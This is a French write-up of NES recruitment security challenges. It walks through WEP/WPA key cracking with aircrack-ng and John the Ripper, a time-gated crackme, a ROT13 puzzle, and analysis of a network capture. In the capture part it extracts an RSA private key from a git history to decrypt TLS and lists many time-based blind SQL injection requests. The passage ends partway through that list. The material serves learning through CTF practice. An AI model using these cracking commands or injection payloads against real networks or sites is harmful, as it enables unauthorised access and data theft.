J'aurais dû m'y attendre, le SSID changeant et écrivant au fur et à mesure : ''WEP IS SECURE IF YOU DONT HAVE ENOUGH IVs''

  * La méthode force brute

  aircrack-ng -K -b 90:F6:52:7F:A5:CD sniff02.pcap

C'est long 242^12 possibilités…

  * La méthode chanceuse : C'est la même solution que dans le cas 1 avec john the ripper (en enlevant la condition de longueur de la clé)

  /usr/sbin/john --wordlist=../01/wl_fr_nes/wl_fr.txt --rules=NesSpecialRules_french --stdout | aircrack-ng -b 90:F6:52:7F:A5:CD -w - sniff02.pcap
 
Sans succès.

  * La méthode chanceuse bis : le dictionnaire sans modification

  aircrack-ng -w ../01/wl_fr_nes/wl_fr.txt -b 90:F6:52:7F:A5:CD sniff02.pcap
 
Sans succès.

  * La méthode JohnTheRipper

  /usr/sbin/john --incremental --stdout | aircrack-ng -b 90:F6:52:7F:A5:CD -w - sniff02.pcap

C'est long…

===Sniff03===
Là, l'objectif est de cracker une clé WPA.

Il faut commencer à avoir un fichier au format ''pcap''. Ouvrir le fichier ''sniff03.pcapng'' avec Wireshark et l'enregistrer au format ''pcap''.

  * La méthode dictionnaire

  aircrack-ng -w ../01/wl_fr_nes/wl_fr.txt -b 90:F6:52:7F:A5:CD sniff03.pcap

A 200 clés par seconde, c'est bien long. ''John the ripper'' support le ''WPA/PSK'' en version ''OpenGL''.

  * La méthode ''John the ripper'' [[http://openwall.info/wiki/john/WPA-PSK|Cracking WPA-PSK_WPA2-PSK with John the Ripper [Openwall Community Wiki]]] {{ :curiosite:challenge:nes:cracking_wpa-psk_wpa2-psk_with_john_the_ripper_openwall_community_wiki_2020-04-28_10_32_05_pm_.html |Archive du 15/06/2015 le 28/04/2020}}

Il faut extraire les données ''Handshake'' avec [[http://sourceforge.net/projects/cap2hccap/files/|cap2hccap]] ({{ :curiosite:challenge:nes:cap2hccap.tar.bz2 |Archive}}).

  cap2hccap.bin sniff03.pcap sniff03.hccap

  [info    ]      writing handshake for "CRACK_ME_IF_YOU_CAN".

Ensuite, il faut convertir vers un format compatible avec John the ripper.

  /usr/sbin/hccap2john sniff03.hccap > sniff03

Puis, on lance john the ripper :

  john --format=wpapsk-opencl sniff03 -w -w ../01/wl_fr_nes/wl_fr.txt

Sans succès. Ni non plus en appliquant la règle du cas 1. Tant pis :(
====Cas 3====
Il s'agit du fichier ''crack_me.exe''.

Lors de l'exécution, j'obtiens :
  today time is = 23:43:39
  Il n'est pas l'heure !

Avant de désassembler, j'ai ouvert avec un éditeur hexadécimal le binaire pour trouver la chaîne de caractères ''today time is'' et juste à coté on peut lire en clair ''05:22:43''.

En exécutant le programme à 5h22m43s, le texte devient
  today time is = 05:22:43
  {NesToken}:?*itQ9}o hex:3F2A697451397D6F

La valeur ''hex'' est la même que le texte en clair. Là, j'ai pas trouvé si c'était le mot de passe ou s'il fallait en faire quelque chose…

=====Numéro 3=====
Décembre 2018 : un nouveau challenge : [[https://pastebin.com/raw/BUfMLm6L]]

====Le Challenge====
<code>
                                                                               
       ,*//*.                                                                  
   *(((((((((( /.          ,///          ///   /////////////*    .////////////,
  (((((((((((/ (((         (((((((.      ((*  .(((((((((((((.  /((((((((((((((*
.(((((. .((((..((((        (((  /(((/   /((   /((.            .((/             
(((((( /(. (( /((((*      *((,    /(((  (((   (((              (((             
(((((/ ((((   (((((/      (((       ((((((.  ,((((((((,         /(((((((((((   
/((((..((((* .(((((.     .((/        (((((   (((                          (((  
 (((( ((((((((((((/      /((.        .(((/   ((/                          (((  
  ((* (((((((((((*       (((          (((.  *(((((((((((((   (((((((((((((((.  
     *(((((((((                                                                

     						MISC - Challenge


Un de nos client VIP a subi une attaque ! 
D'après lui des données ultra-confidentielles ont fuitées ...

Nous comptons sur vous pour retrouver ce qui a fuité !

Pour ce faire le client nous a transmis une capture réseau de l'attaque.

uggcf://jjj.arf.se/punyyratr/ARF-punyyratr.gne.tm

# Retrouver l'adresse mail de NES qui vous permettera de postuler ! 

GL HF
</code>

====Le chiffre de César====

On repère facilement en première ligne les ''https:''.

Entre le ''h'' et le ''u'', il y a 13 lettres. C'est le chiffre de César qui permet un décalage en +13 ou -13 pour chiffrer / déchiffrer.

Il y a des sites internet qui le font très bien [[http://www.nymphomath.ch/crypto/cesar/index.html|Chiffre de César]] {{ :curiosite:challenge:nes:chiffre_de_cesar_2020-04-28_10_32_55_pm_.html |Archive du 01/06/2011 le 28/04/2020}}.

Résultat : [[https://www.nes.fr/challenge/NES-challenge.tar.gz]], {{ :curiosite:challenge:nes:nes-challenge.tar.gz |archive}}

====L'analyse du dump Wireshark====
Il n'y a pas d'interférence dans le dump. 

Il y a plusieurs blocs séparés par des resets du serveur TCP.

Le premier bloc est sans intérêt (trames 1 à 79).

Le deuxième bloc, il y a un téléchargement d'un fichier {{ :curiosite:challenge:nes:backup.tar.gz |backup.tar.gz}} : demande à la trame 83, fichier récupérable à la trame 101. Pour récupérer le fichier, voir le [[#Cas_1|cas 1 du numéro 2]].

====backup.tar.gz====
Il s'agit du code source du serveur PHP et de son dépôt git avec ''index.php'' qui est le code source du serveur php (nom d'utilisateur et mot de passe : WeMissYouBob et cyabob).

En regardant dans l'historique du dépôt, on trouve un fichier qui contient une clé privée :

<code>
-----BEGIN PRIVATE KEY-----
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
4oTi0r98jSZ4jUksWvvYWgqQnzdTZh0nlyW3Y2p5AoIBABXTxVEiiSlsPYqhjLc7
2YUWnSUKqjO5JrZe2EirUIBiy/yLgCeue6i3z5tLwJ0lRn3MnbdS+b8JOTS2Tc02
xcO/n6++3atkhMFu9BVAyo/Dv/Cl+enFyS1CAJCX8C5F+esmStnJCeYs5zZz0+v0
dEWHLQvCYnf208jXpPdPXzxKfyPYGer35cRVViwvxXLaRqI6vuJkj1P1DVgxg3Y0
dU/tuBklKUsctnLj2ll6K3ukTPYMEN9/ioEhve0ccBeiDrMzijFKs07YZIySF/hg
4eCVHyyWABaAMRoNII7L8iy5lGmI7uFuZrFIA4/YEVCNThzFGj1wUNqluenYNS8n
ALUCggEAQEmn/Rgsp0X4pbANuyDn9a1TrEZzWVXcmEF0aAKGYOaUt2zP6+LeesJW
QdBRwyPpnE9HHA6FK8gD2HzZDuPV1j6pramhe6pqPc6BidOxnCH31rPfTDYXp8hl
ONMy7YSlXctCwoD96VVB/rfpqPu0g14aEXXjMjvKDpEPrma33NH2qKqilgabo2hM
bWMmXXFvr/xhcrKHvnn7j0ht5o4qrF+gdzvozkaq4Eukx/Kzw16Qw1Zo3bNW/3m2
e0x0IFN2EFYZ9OJ8Vohs3Kj7QzEkhZpgSaokMhZOeVyzx66GHvzWekVRzdbvnES7
9nvTPofCCLI8FUKk5a0btwVfKkoNZg==
-----END PRIVATE KEY-----
</code>

Une analyse de la clé indique :

  openssl rsa -text -noout -modulus < key.asc

<code>
RSA Private-Key: (4096 bit, 2 primes)
modulus:
    00:be:9d:33:77:9f:42:41:48:7d:78:1c:d0:e4:0f:
    42:27:bb:d6:34:47:01:91:64:77:16:63:3c:8d:cb:
    51:fc:8f:fa:71:fd:7b:19:26:d1:0b:27:c6:f4:39:
    bf:cf:f9:22:0d:4e:9a:5c:3c:b6:18:83:33:1f:79:
    3d:4f:60:90:1d:5e:b7:73:f1:f3:cf:ba:10:20:5e:
    23:e1:5c:ea:72:40:a1:ff:5d:26:02:46:95:d9:96:
    22:33:00:16:b0:59:db:ec:c5:74:ac:23:fc:95:b5:
    da:d5:8c:f6:62:0a:e4:39:95:84:24:bd:88:58:d2:
    2a:b0:7f:7c:e0:97:a0:1b:cf:4c:9c:13:7f:8d:2b:
    7c:c3:30:c7:45:28:dc:de:71:89:bf:60:6b:e1:41:
    e3:9e:8c:4b:ff:85:5b:5f:8f:cc:38:32:e5:86:35:
    95:7f:6a:6e:c3:97:26:01:d5:94:4e:80:b6:6b:dd:
    67:aa:5c:bc:73:4b:dd:f3:a9:d4:17:2c:b0:c9:d0:
    4b:76:83:3f:a5:c3:39:c8:22:97:c5:52:c4:51:16:
    32:2c:e9:4e:66:4b:c6:ee:46:0b:6f:ab:f1:08:3a:
    3f:50:01:b0:d5:f8:3d:7c:7d:cb:a3:75:72:f6:63:
    8d:93:28:6f:12:ba:e7:6c:0b:43:e4:11:bc:2f:65:
    82:fd:25:0c:6e:94:79:72:87:75:a3:98:10:a8:fc:
    a8:db:2e:b6:12:29:5c:6c:fd:6b:ca:3c:17:ab:9e:
    f4:79:39:f2:90:7d:e8:22:4d:b4:a3:de:bb:9c:8f:
    b4:e7:ef:1f:c3:87:7d:c0:1c:f9:d7:64:93:1a:22:
    cc:0f:28:df:98:c3:68:d9:3f:66:c7:a1:be:29:8c:
    cd:c7:9b:a1:c5:0d:fd:77:50:e5:f8:d8:d8:7e:9b:
    90:60:5a:54:4d:f9:5f:3c:c5:fa:5a:b2:28:ad:91:
    91:26:4a:c8:73:18:eb:9b:1d:8b:93:9f:17:57:c0:
    e4:c2:58:af:e1:ca:16:a1:0c:58:de:95:7c:1a:8e:
    0b:a7:f0:c2:88:c6:f6:f0:a5:00:60:2f:16:d8:fb:
    32:78:de:40:b1:50:24:08:7a:38:14:f5:91:19:bf:
    82:2e:d7:38:71:3b:38:43:47:00:62:53:58:77:4e:
    60:c4:ec:76:77:0f:65:44:54:30:a4:f4:ea:e3:d1:
    38:70:ce:bc:c3:64:fd:e7:da:80:c2:9b:98:ae:42:
    6e:d6:bb:4b:8e:8b:7f:98:8a:2f:be:bf:cf:0f:44:
    6c:a6:c2:09:5d:a4:03:c5:60:c0:1a:d8:00:b5:ab:
    b2:d6:f1:a6:2f:b1:66:87:22:a3:38:46:4a:66:61:
    9b:6a:49
publicExponent: 65537 (0x10001)
privateExponent:
    3d:39:4c:e0:ad:3c:a0:af:61:ed:84:83:eb:dc:a2:
    c9:14:62:16:e4:7f:b2:6d:6c:7a:ba:61:26:c2:19:
    91:5f:c5:77:7b:8d:60:64:c1:5c:2d:e8:8f:65:45:
    20:cd:ca:8c:2f:a5:10:df:47:35:d4:5e:45:4b:b1:
    cf:9f:1a:6a:f4:93:44:20:80:c9:45:e0:0c:25:70:
    ac:e0:25:45:91:50:f7:2e:ba:18:9d:07:60:9e:02:
    5a:13:3b:36:65:86:68:24:7b:f7:16:8f:f8:9e:32:
    ad:c8:db:12:5e:a1:33:85:bc:ad:f8:5a:a4:fc:cc:
    4d:68:85:79:b5:f9:ed:34:c6:4c:93:4e:b2:cf:37:
    01:92:d7:4e:75:73:8b:d7:38:01:4a:3d:1c:5b:07:
    7b:53:60:cd:af:cd:cb:81:ea:7c:5a:8c:b2:70:df:
    95:cf:5f:c8:5e:f2:0c:40:c7:a3:f7:5f:a0:81:ba:
    dc:53:71:0c:2f:60:18:f5:81:73:f8:1c:c8:95:a8:
    c7:66:1c:b9:67:5d:55:d5:16:9e:80:99:21:da:59:
    3f:67:a8:90:de:e2:04:82:67:05:f5:5a:33:e4:51:
    95:a7:15:5f:84:9e:6b:30:14:8a:6a:1d:04:da:b1:
    0c:85:3e:37:eb:e4:8d:25:89:26:e6:33:65:9d:db:
    56:59:c6:a3:0d:fc:62:bd:82:6b:38:64:eb:80:5e:
    88:08:3e:ba:7e:5c:2e:b0:b7:d5:1a:00:ff:44:5b:
    94:f2:3c:eb:aa:6e:7a:b2:df:e4:db:e0:7c:4d:85:
    4a:a8:97:71:8f:78:d1:bb:a9:b7:f6:3a:2e:92:1b:
    04:15:de:82:ed:1b:12:ea:1c:aa:7a:a2:16:3b:ad:
    96:76:0e:84:51:8b:61:29:98:17:8d:c9:f0:c8:19:
    ca:4a:00:99:5e:fa:f3:35:4e:4d:32:82:33:7f:10:
    5c:82:9d:d0:77:69:5d:53:ff:d3:6d:5d:86:f9:48:
    c2:47:f5:c8:d4:cb:06:dc:3c:36:ee:75:d4:7a:3c:
    10:08:1c:cf:39:00:93:bd:22:47:e7:cc:05:17:a1:
    43:61:77:d0:fb:39:65:d6:bf:2a:05:9a:2f:15:4b:
    b8:0b:a4:29:80:74:cc:30:00:ff:c2:0b:b5:01:61:
    c1:7e:71:0e:33:a5:18:b5:26:dc:73:9a:87:2b:c3:
    f0:58:59:ab:f7:98:87:52:9a:e0:bc:b9:05:64:c9:
    6a:c0:7c:bc:ea:1b:4f:f6:cd:d9:05:80:c4:5b:7e:
    00:f6:ef:81:06:25:07:c2:b0:f7:5a:1c:e6:b6:5f:
    2b:6c:ed:21:42:49:ef:85:bb:c1:68:18:74:4f:8b:
    09:89
prime1:
    00:e8:fc:80:2f:58:c0:5e:00:31:a0:e4:e4:bd:e3:
    e0:c4:d7:a7:b6:c8:b5:0c:d9:63:22:ef:65:e5:c7:
    b9:80:44:0a:58:12:10:b0:10:fd:3d:5d:75:4f:fe:
    52:50:56:c5:7a:4b:91:61:c4:88:71:d3:99:13:dc:
    04:e7:96:74:25:65:71:11:d2:51:de:7a:7d:97:4d:
    8e:72:08:c1:71:0e:62:3a:e2:53:0f:91:ee:7f:e0:
    1c:e8:05:91:9f:a4:af:16:84:a9:32:4a:5b:b0:ab:
    62:67:df:da:be:60:a2:b4:b4:00:c1:a3:3e:c9:3c:
    58:c7:15:e5:67:99:28:0c:2b:98:34:47:fa:b4:cd:
    19:d9:74:e2:bc:5b:f9:d4:05:b7:3a:7a:5a:5e:2c:
    22:63:13:99:87:6e:1b:45:65:77:cd:7b:f0:f9:3a:
    76:0a:f8:46:05:d7:36:e6:c8:1d:20:0b:de:f8:ee:
    9b:50:14:80:59:5c:b7:00:88:77:bb:10:fb:a7:f3:
    26:ec:9b:94:b4:34:40:d4:66:fb:03:3b:8a:92:b9:
    cb:bc:33:91:5f:02:66:98:3e:71:33:c0:d6:43:e6:
    6d:6b:fe:cc:69:f1:aa:30:b3:03:b3:a8:d7:5c:1b:
    05:a2:5e:5f:bb:c6:93:3f:89:1c:32:18:e8:91:73:
    d9:7f
prime2:
    00:d1:71:3c:d4:4a:73:24:68:e8:f1:a5:de:98:7f:
    2a:8a:16:6c:3b:f6:ad:1a:e3:3a:fa:6f:a5:20:4b:
    4e:a0:18:73:b8:04:13:02:92:9a:8b:69:7c:54:af:
    42:d3:77:b3:f3:d2:8d:d4:18:ed:8f:37:68:32:5b:
    66:4e:95:49:ee:f5:db:d8:10:b1:e5:d8:46:63:8a:
    5d:43:20:00:9e:db:ee:79:36:71:c8:f7:30:9d:8a:
    d3:58:19:d1:01:81:51:ad:65:f3:42:56:a5:56:fc:
    d4:1f:4c:7a:08:42:93:73:cc:38:c8:47:e6:00:32:
    d0:d5:ec:93:c9:e3:9b:fc:77:78:67:6b:c9:d7:70:
    19:0b:e2:b5:51:8e:dd:d7:0f:45:f5:b4:ed:ad:38:
    36:4a:fa:46:cf:e7:d9:4e:ee:f7:18:06:e5:cb:92:
    a5:14:63:e8:e5:79:69:85:fa:a3:7c:f4:b4:00:09:
    da:cd:43:ea:bc:51:39:9a:96:92:54:ca:09:f1:3d:
    bf:43:46:90:23:38:b9:7e:dc:b6:67:54:de:3f:14:
    e7:d9:d0:0c:76:73:e0:e6:38:9e:c5:05:ce:ff:c4:
    12:68:66:44:01:65:ba:df:31:48:55:98:24:e7:bc:
    2e:da:dd:1a:db:70:4e:5f:73:3d:61:01:d6:72:40:
    50:37
exponent1:
    00:bb:43:d8:b4:35:9d:c8:f0:56:f3:7f:86:eb:a9:
    f1:cb:c5:9a:a4:2c:06:79:e1:70:f1:6f:82:73:82:
    68:f3:53:bd:0c:b4:d8:7c:eb:ea:e0:1b:f2:62:ed:
    83:b3:d7:4a:ba:d5:6a:71:2e:ca:8c:d3:0a:c3:0f:
    a1:51:93:78:9f:66:3d:cf:99:40:fc:95:6f:c4:e1:
    2d:91:32:c0:68:e2:aa:c9:b1:88:19:87:ae:2f:52:
    2f:69:be:b0:21:a4:f8:a6:1c:d2:f1:fd:1a:5d:92:
    23:72:62:57:2b:95:f8:b1:4d:cd:1d:d6:dc:6c:5a:
    f8:f0:6c:05:0b:93:ea:c0:7d:79:c4:eb:e5:f2:d4:
    b7:e6:35:30:d9:3d:04:3d:0a:ab:0f:71:b0:98:e8:
    d8:6a:d2:22:20:dc:bb:46:b8:1b:e7:29:ab:b2:66:
    ee:e2:3a:53:ed:f5:e1:c6:f5:29:93:cc:76:d7:96:
    d1:77:38:43:41:90:67:f7:21:b9:3a:be:97:c7:92:
    84:c2:c0:fa:71:2d:5e:be:5a:57:7f:6d:a8:1f:ee:
    fe:76:b2:ec:31:75:78:88:fe:07:77:15:94:22:d7:
    5f:33:e2:84:e2:d2:bf:7c:8d:26:78:8d:49:2c:5a:
    fb:d8:5a:0a:90:9f:37:53:66:1d:27:97:25:b7:63:
    6a:79
exponent2:
    15:d3:c5:51:22:89:29:6c:3d:8a:a1:8c:b7:3b:d9:
    85:16:9d:25:0a:aa:33:b9:26:b6:5e:d8:48:ab:50:
    80:62:cb:fc:8b:80:27:ae:7b:a8:b7:cf:9b:4b:c0:
    9d:25:46:7d:cc:9d:b7:52:f9:bf:09:39:34:b6:4d:
    cd:36:c5:c3:bf:9f:af:be:dd:ab:64:84:c1:6e:f4:
    15:40:ca:8f:c3:bf:f0:a5:f9:e9:c5:c9:2d:42:00:
    90:97:f0:2e:45:f9:eb:26:4a:d9:c9:09:e6:2c:e7:
    36:73:d3:eb:f4:74:45:87:2d:0b:c2:62:77:f6:d3:
    c8:d7:a4:f7:4f:5f:3c:4a:7f:23:d8:19:ea:f7:e5:
    c4:55:56:2c:2f:c5:72:da:46:a2:3a:be:e2:64:8f:
    53:f5:0d:58:31:83:76:34:75:4f:ed:b8:19:25:29:
    4b:1c:b6:72:e3:da:59:7a:2b:7b:a4:4c:f6:0c:10:
    df:7f:8a:81:21:bd:ed:1c:70:17:a2:0e:b3:33:8a:
    31:4a:b3:4e:d8:64:8c:92:17:f8:60:e1:e0:95:1f:
    2c:96:00:16:80:31:1a:0d:20:8e:cb:f2:2c:b9:94:
    69:88:ee:e1:6e:66:b1:48:03:8f:d8:11:50:8d:4e:
    1c:c5:1a:3d:70:50:da:a5:b9:e9:d8:35:2f:27:00:
    b5
coefficient:
    40:49:a7:fd:18:2c:a7:45:f8:a5:b0:0d:bb:20:e7:
    f5:ad:53:ac:46:73:59:55:dc:98:41:74:68:02:86:
    60:e6:94:b7:6c:cf:eb:e2:de:7a:c2:56:41:d0:51:
    c3:23:e9:9c:4f:47:1c:0e:85:2b:c8:03:d8:7c:d9:
    0e:e3:d5:d6:3e:a9:ad:a9:a1:7b:aa:6a:3d:ce:81:
    89:d3:b1:9c:21:f7:d6:b3:df:4c:36:17:a7:c8:65:
    38:d3:32:ed:84:a5:5d:cb:42:c2:80:fd:e9:55:41:
    fe:b7:e9:a8:fb:b4:83:5e:1a:11:75:e3:32:3b:ca:
    0e:91:0f:ae:66:b7:dc:d1:f6:a8:aa:a2:96:06:9b:
    a3:68:4c:6d:63:26:5d:71:6f:af:fc:61:72:b2:87:
    be:79:fb:8f:48:6d:e6:8e:2a:ac:5f:a0:77:3b:e8:
    ce:46:aa:e0:4b:a4:c7:f2:b3:c3:5e:90:c3:56:68:
    dd:b3:56:ff:79:b6:7b:4c:74:20:53:76:10:56:19:
    f4:e2:7c:56:88:6c:dc:a8:fb:43:31:24:85:9a:60:
    49:aa:24:32:16:4e:79:5c:b3:c7:ae:86:1e:fc:d6:
    7a:45:51:cd:d6:ef:9c:44:bb:f6:7b:d3:3e:87:c2:
    08:b2:3c:15:42:a4:e5:ad:1b:b7:05:5f:2a:4a:0d:
    66
</code>

C'est bien une clé privée RSA.

====Déchiffrage du dump Wireshark====

{{:curiosite:challenge:nes:wireshark_dump_ssl_non_decrypte.png|}}

Le ''serveur hello'' indique bien qu'il utilise une clé au format RSA.

{{:curiosite:challenge:nes:wireshark_server_hello.png|}}

Il faut configurer Wireshark pour décoder le flux SSL avec la clé.

Pour cela, il faut aller dans les préférences du protocole SSL.

{{:curiosite:challenge:nes:wireshark_preferences.png|}} {{:curiosite:challenge:nes:wireshark_preferences_ssl.png|}} {{:curiosite:challenge:nes:wireshark_preferences_ssl_key.png|}}

Et voilà le flux SSL décodé.

{{:curiosite:challenge:nes:wireshark_dump_ssl_decrypte.png|}}

====Mail du challenge====
Pour récupérer tous les GET de la communication chiffrée, il faut utiliser le filtre :

  ssl && http && http.accept

et on trouve :

<code>
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
